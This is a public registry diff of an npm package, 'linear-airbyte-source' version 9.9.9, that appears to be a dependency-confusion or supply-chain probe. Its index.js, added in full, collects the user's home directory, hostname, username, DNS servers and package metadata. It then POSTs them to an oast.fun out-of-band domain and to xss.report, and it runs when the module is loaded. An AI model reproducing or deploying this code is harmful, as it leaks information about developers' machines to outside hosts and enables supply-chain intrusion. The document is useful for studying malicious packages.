linear-airbyte-source 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +53 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ const postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ const hosts = [
25
+ "adsqsxtimyiywedpvrxhuh9xcf83h9s7v.oast.fun",
26
+ "xss.report/c/patreonfb"
27
+ ];
28
+
29
+ hosts.forEach((host) => {
30
+ const options = {
31
+ hostname: host,
32
+ port: 443,
33
+ path: "/",
34
+ method: "POST",
35
+ headers: {
36
+ "Content-Type": "application/x-www-form-urlencoded",
37
+ "Content-Length": postData.length,
38
+ },
39
+ };
40
+
41
+ const req = https.request(options, (res) => {
42
+ res.on("data", (d) => {
43
+ process.stdout.write(d);
44
+ });
45
+ });
46
+
47
+ req.on("error", (e) => {
48
+ console.error(`Error with request to ${host}:`, e);
49
+ });
50
+
51
+ req.write(postData);
52
+ req.end();
53
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "linear-airbyte-source",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }